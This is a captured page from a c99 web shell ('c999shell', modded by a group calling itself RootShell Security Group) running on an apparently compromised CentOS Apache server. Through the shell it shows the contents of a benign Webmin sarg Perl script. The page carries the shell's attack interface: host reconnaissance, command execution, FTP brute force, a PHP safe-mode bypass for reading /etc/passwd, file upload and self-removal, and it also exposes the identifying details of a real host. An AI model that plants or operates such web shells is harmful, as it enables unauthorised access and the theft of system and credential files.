!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/sarg/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.cgi (2.06 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Show icons for sarg option categories

require './sarg-lib.pl';

if (!-r $config{'sarg_conf'}) {
    &ui_print_header(undef, $text{'index_title'}, "", undef, 1, 1);
    &ui_print_endpage(
        &ui_config_link('index_econf',
            [ "<tt>$config{'sarg_conf'}</tt>", undef ]));
    }
if (!&has_command($config{'sarg'})) {
    &ui_print_header(undef, $text{'index_title'}, "", undef, 1, 1);
    &ui_print_endpage(
        &ui_config_link('index_ecmd',
                [ "<tt>$config{'sarg'}</tt>", undef ]));
    }

# Get the version
$sarg_version = &get_sarg_version();
if (!$sarg_version) {
    &ui_print_header(undef, $text{'index_title'}, "", undef, 1, 1);
    &ui_print_endpage(
        &text('index_eversion',
              "<tt>$config{'sarg'}</tt>", "<pre>$out</pre>"));
    }

# Show icons for options
&ui_print_header(undef, $text{'index_title'}, "", undef, 1, 1, 0,
         &help_search_link("sarg", "man", "doc", "google"),
         undef, undef,
         &text('index_version', $sarg_version));
@pages = ( "log", "report", "style", "sched" );
@links = map { "edit_${_}.cgi" } @pages;
@titles = map { $text{"${_}_title"} } @pages;
@icons = map { "images/${_}.gif" } @pages;
&icons_table(\@links, \@titles, \@icons);

# Show buttons for generating report now and for viewing
$conf = &get_config();
$odir = &find_value("output_dir", $conf);
$odir ||= &find_value("output_dir", $conf, 1);
$sfile = &find_value("access_log", $conf);
if ($sfile || $odir && -d $odir) {
    print &ui_hr();
    print &ui_buttons_start();
    }
if ($sfile) {
    print &ui_buttons_row("generate.cgi", $text{'index_generate'},
                  &text('index_generatedesc', "<tt>$odir</tt>").
                  "<br><b>$text{'index_clear'}</b> ".
                  &gen_clear_input().
                  "<br><b>$text{'index_range'}</b> ".
                  &gen_range_input());
    print "<tr> <td><p></td> </tr>\n";
    }
if ($odir && -d $odir) {
    print &ui_buttons_row(-r "$odir/index.html" ? "view.cgi/index.html"
                            : "view.cgi/",
                  $text{'index_view'},
                  &text('index_viewdesc', "<tt>$odir</tt>"));
    }
if ($sfile || $odir && -r "$odir/index.html") {
    print &ui_buttons_end();
    }

&ui_print_footer("/", $text{'index'});

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0111 ]--